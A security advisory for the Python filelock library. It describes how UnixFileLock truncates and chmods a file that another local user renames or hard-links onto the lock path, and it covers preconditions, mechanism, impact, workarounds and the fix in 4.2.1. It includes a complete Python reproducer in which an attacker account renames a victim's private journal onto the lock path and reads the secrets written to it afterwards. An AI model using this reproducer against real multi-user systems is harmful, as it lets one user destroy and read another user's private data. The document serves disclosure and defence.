filelock: UnixFileLock truncates and chmods any regular file another user renames or hard-links onto the lock path

Classification from the review: security, conditional on another user controlling names in a non-sticky directory on the lock's filesystem (or on fs.protected_hardlinks=0). The scanner rated this high. The maintainers score it medium because the reachable targets depend on the directory layout and kernel settings described below.

Scope and preconditions

• Lock classes: FileLock and AsyncFileLock on Unix (UnixFileLock). SoftFileLock applies an explicit mode only to a file it created with O_CREAT | O_EXCL and does not truncate an existing file. WindowsFileLock has not truncated at any version.
• The other user must put a regular file of the lock user at the lock path before the lock user's next acquire, while the lock file does not exist yet. That is the case on first use, after a reboot, after a /tmp cleaner, or after a release with the default preserve_lock_file=False, which unlinks the file. The scanner checked three ways at the scanned commit, with default kernel settings unless stated:
  • rename inside a directory without the sticky bit (a group-writable project or cache directory, a root-created 0777 directory);
  • rename from such a directory into a sticky one (1777) on the same filesystem. The sticky bit only protects entries that already exist, so the move succeeds while the lock path is free. Once the lock user's lock file exists there, the same move fails with EPERM;
  • link(2) into a sticky directory. This needs a system that lets a user hard-link a file it cannot write, which on Linux means fs.protected_hardlinks=0. Mainstream distributions set 1, which refuses the link. The scanner did not test macOS or the BSDs.
• What the lock user loses: with the default FileLock(path) the lock truncates the file, which keeps its mode. With an explicit mode (a lock shared between users needs 0o666 or 0o660, because UnixFileLock opens the file read-write), the lock also chmods the file to that mode. _apply_explicit_mode suppresses PermissionError only for files the lock user does not own. The lock user owns its own files, so the fchmod succeeds.
• Trust boundary: the protection against another local user holds only when no other user can rename entries in the lock's directory or, for the rename-into-sticky route, in any directory on the same filesystem that holds a file of the lock user. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against.
• Not affected: a symlink (a file that points at another path) at the lock path, because O_NOFOLLOW makes the open fail with ELOOP; mutual exclusion between cooperating processes.

Affected code

Scanned commit b831496b0273: UnixFileLock._finalize_locked_fd, whose os.ftruncate and _apply_explicit_mode calls have only the st_nlink != 0 guard (the file still has at least one name); _apply_explicit_mode; _open_lock_file, which learns from its O_EXCL create whether this attempt made the file but hands that flag only to the ENOSYS fallback.

Introduced

The truncation of whatever is at the lock path dates from the initial commit (2157efb, which opened with O_TRUNC). The chmod of a pre-existing inode (the kernel's identity for a file, independent of its name) came with d7e1e84 "changed from os.umask to os.chmod" (#206, 2023-03-22), first tag 3.10.2 (verified with git tag --contains). Before it the code passed the mode only to open(), which applies it to a file this call creates. The advisory range is therefore every release up to 4.2.0. The earlier group range >= 3.10.0 understated it, as the review noted.

Mechanism

_open_lock_file first tries os.open(path, O_RDWR | O_NOFOLLOW | O_CREAT | O_EXCL, mode). With the lock user's file renamed to the lock path that fails with FileExistsError. The second os.open(path, O_RDWR | O_NOFOLLOW) succeeds, because the entry is a regular file the lock user owns, and returns created = False. _acquire_native passes created only to the ENOSYS branch. No process holds a flock on the renamed file, so _lock_fd_nonblocking(fd) succeeds at once and _finalize_locked_fd(fd) runs: os.fstat, st_nlink != 0, os.ftruncate(fd, 0), then os.fchmod(fd, mode) when the lock has an explicit mode. Nothing in that path tells a lock file from any other regular file; a link count of 2 and a non-empty file both pass. O_NOFOLLOW does not help because the entry is the file itself (or a hard link, an ordinary directory entry for the same inode), not a symlink to it. There is no race: the other user renames or links once and waits for the next acquire. AsyncUnixFileLock inherits _finalize_locked_fd unchanged.

The scanner measured three variants at the same commit, same accounts (victim uid 1000, attacker uid 1001). First, a rename within a 0777 directory: the next FileLock("jobs.lock", mode=0o666) of victim empties the 0600 journal of victim renamed to jobs.lock and sets it to 0666; attacker then reads what victim keeps writing through its open descriptor. Second, a rename of a two-name file (ln /tmp/cache/blob ~/env/blob, 0644) from a 0777 directory, fs.protected_hardlinks=1: after mv /tmp/cache/blob /tmp/cache/app.lock and FileLock("/tmp/cache/app.lock", mode=0o666) as victim, ~/env/blob has 2 links, mode 666, 0 bytes and echo pwned >> /home/victim/env/blob as attacker succeeds, in a directory attacker cannot write. Third, os.link(notes, lock_path) in a 1777 directory with fs.protected_hardlinks=0: notes.txt (0644, in the home of victim) ends up 0 bytes with mode 0666, and open(notes, "w") as attacker then succeeds. With plain FileLock(lock_path) a 0600 file ends up empty with its mode unchanged. The planted name stays after release, so every later acquire truncates the file again.

Reproduction

The scanner's reproducer for ANT-2026-KO573NWI, quoted as received. It ran against commit b831496b0273.

repro

#!/usr/bin/env python3
import os
import secrets
import shutil
import stat
import subprocess
import sys

# set up: a directory every user may write, without the sticky bit
shared = "/tmp/renamed-lock-file-demo"
shutil.rmtree(shared, ignore_errors=True)
os.mkdir(shared)
os.chmod(shared, 0o777)
journal = f"{shared}/victim-journal.log"
lock_path = f"{shared}/jobs.lock"

victim = subprocess.Popen(
    ["runuser", "-u", "victim", "--", sys.executable, "/tmp/repro.d/victim_job_runner.py", shared],
    stdin=subprocess.PIPE,
    stdout=subprocess.PIPE,
    text=True,
)


def victim_runs(job):
    victim.stdin.write(job + "\n")
    victim.stdin.flush()
    assert victim.stdout.readline() == "done\n"


def as_attacker(script, argument):
    command = ["runuser", "-u", "attacker", "--", sys.executable, f"/tmp/repro.d/{script}", argument]
    return subprocess.run(command, capture_output=True, text=True, check=True).stdout


# before the attack: one job leaves the lock file and a 0600 journal with one line in it
victim_runs("job 1")
journal_before = os.stat(journal)
journal_content_before = open(journal).read()
attacker_read_before = as_attacker("attacker_read_file.py", journal)
print(
    f"CONTROL  journal: inode {journal_before.st_ino}, uid {journal_before.st_uid}, "
    f"mode {stat.S_IMODE(journal_before.st_mode):o}, content {journal_content_before!r}"
)
print(f"CONTROL  attacker reads the journal: {attacker_read_before!r}")

# attack
as_attacker("attacker_rename_journal.py", shared)

# the victim takes its lock again, then notes a secret in its journal through the descriptor it holds
secret = secrets.token_hex(8)
victim_runs(f"job 2 {secret}")
victim.stdin.close()
victim.wait()

# check: the victim's private journal must not be emptied, widened to 0666, or readable by the attacker
lock_after = os.stat(lock_path)
lock_content_after = open(lock_path).read()
attacker_read_after = as_attacker("attacker_read_file.py", lock_path)
print(
    f"OBSERVED lock path: inode {lock_after.st_ino}, uid {lock_after.st_uid}, "
    f"mode {stat.S_IMODE(lock_after.st_mode):o}, content {lock_content_after!r}"
)
print(f"OBSERVED attacker reads the lock path: {attacker_read_after!r}")

attacker_was_denied = attacker_read_before == "permission denied\n"
lock_path_is_the_journal = (lock_after.st_dev, lock_after.st_ino) == (journal_before.st_dev, journal_before.st_ino)
journal_was_emptied = "job 1" in journal_content_before and "job 1" not in lock_content_after
journal_was_widened = stat.S_IMODE(journal_before.st_mode) == 0o600 and stat.S_IMODE(lock_after.st_mode) == 0o666
attacker_reads_the_secret = secret in attacker_read_after
bug = (
    attacker_was_denied
    and lock_path_is_the_journal
    and journal_was_emptied
    and journal_was_widened
    and attacker_reads_the_secret
)
print("BUG" if bug else "OK")

repro.d/attacker_read_file.py

import sys

try:
    print(open(sys.argv[1]).read(), end="")
except PermissionError:
    print("permission denied")

repro.d/attacker_rename_journal.py

import os
import sys

shared_directory = sys.argv[1]

# needs only write access to the directory: no sticky bit, so any user may rename any entry in it
os.rename(f"{shared_directory}/victim-journal.log", f"{shared_directory}/jobs.lock")

repro.d/victim_job_runner.py

import os
import sys

from filelock import FileLock

shared_directory = sys.argv[1]

journal_fd = os.open(f"{shared_directory}/victim-journal.log", os.O_WRONLY | os.O_CREAT | os.O_APPEND, 0o600)
# UnixFileLock opens the lock file O_RDWR, so a lock that other users of the directory also take needs mode=0o666
lock = FileLock(f"{shared_directory}/jobs.lock", mode=0o666, timeout=5)

for job in sys.stdin:
    with lock:
        os.write(journal_fd, f"ran {job}".encode())
    print("done", flush=True)

Attack sequence

sequenceDiagram
    participant A as other account
    participant D as shared directory (writable, not sticky)
    participant V as lock user: FileLock("jobs.lock", mode=0o666)
    participant K as kernel
    Note over V,D: victim-journal.log, owner victim, mode 0600 (the other account cannot read it)
    A->>D: mv victim-journal.log jobs.lock (one rename, no race)
    V->>K: open(jobs.lock, O_RDWR|O_NOFOLLOW|O_CREAT|O_EXCL) -> EEXIST
    V->>K: open(jobs.lock, O_RDWR|O_NOFOLLOW) -> fd (regular file, created=False)
    V->>K: flock(fd, LOCK_EX|LOCK_NB) -> ok (no holder)
    rect rgb(255, 214, 214)
        V->>K: fstat(fd), st_nlink != 0
        V->>K: ftruncate(fd, 0)
        V->>K: fchmod(fd, 0o666)
        Note over V,K: the journal's inode is now empty and world read-write, still owned by victim
    end
    V->>K: write("ran job 2 <secret>") through the journal descriptor it still holds
    A->>D: read jobs.lock -> "ran job 2 <secret>"

Evidence

The scanner reproducer (victim and attacker accounts, root-created 0777 directory without the sticky bit under /tmp, default sysctls, Linux 6.1, CPython 3.14.8, overlayfs; lock FileLock(path, mode=0o666, timeout=5)). It printed CONTROL journal: inode 296383, uid 1000, mode 600, content 'ran job 1\n' and CONTROL attacker reads the journal: 'permission denied\n'. After the rename and the second job of victim it printed OBSERVED lock path: inode 296383, uid 1000, mode 666, content 'ran job 2 f4bc9a4e04c3f556\n' and OBSERVED attacker reads the lock path: 'ran job 2 f4bc9a4e04c3f556\n', last line BUG. The verdict requires that the earlier read by attacker failed, that the lock path is the journal's inode, that the old line is gone, that the mode went from 0600 to 0666, and that the later read by attacker contains the secret. It runs in under a second with no race. The scanner ran the two-name and link(2) variants above by hand at the same commit (commands and results in its report), not through the script.

Maintainer triage: the reproducer prints BUG on the scanned commit b831496 and on the 4.2.0 release image. The independent review (soft-open) confirmed the mechanism and that the hard-link and two-name variants go through the same two calls.

Impact

The file's content is lost in every configuration, including for processes that hold the file open and under every other name the file has. With an explicit permissive mode, the other user can read and modify everything the lock user writes afterwards, while the file still belongs to the lock user. The other user can rename the file back to its old name after the acquire. It stays there with the lock's mode, and the lock user's next acquire creates a fresh lock file.

Somebody who may rename a single-name file may also unlink it, so losing such a file under its name is not new. What the lock adds are two operations on the inode that the other user cannot perform, ftruncate and fchmod, run with the lock user's privileges. Those matter for a descriptor the lock user still holds, for a second name of the file, and for programs that trust the file's ownership. The other user does not choose the mode, and the lock user writes no bytes the other user chose. Mutual exclusion is not affected.

Workarounds

• Keep the lock file in a directory no other account can write, or in a sticky directory on a filesystem where no directory holding the lock user's files is writable by others. On Linux keep fs.protected_hardlinks=1 (the default on mainstream distributions), which closes the hard-link route.
• Do not pass a permissive explicit mode (0o666, 0o660, 0o644) unless accounts share the lock; without a mode the exposure is the truncation only.
• Keep the lock file in place (preserve_lock_file=True). Once a lock file owned by the lock user exists in a sticky directory, another user cannot rename or link over it.
• Where the lock does not need flock semantics, SoftFileLock applies its mode only to the marker it created with O_EXCL and does not truncate an existing file.

Patched version

4.2.1.

Fix: https://github.com/tox-dev/filelock/pull/835

Credits

Reported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.

• 2026-10-15 23:08 UTC: report received (36 findings; this one rated high by the scanner)
• 2026-10-16 00:46 UTC: draft advisory created (first as a group of four findings, then narrowed to ANT-2026-KO573NWI; the other three security findings have their own advisories)
• 2026-10-16 01:16 UTC: fix PR #835 opened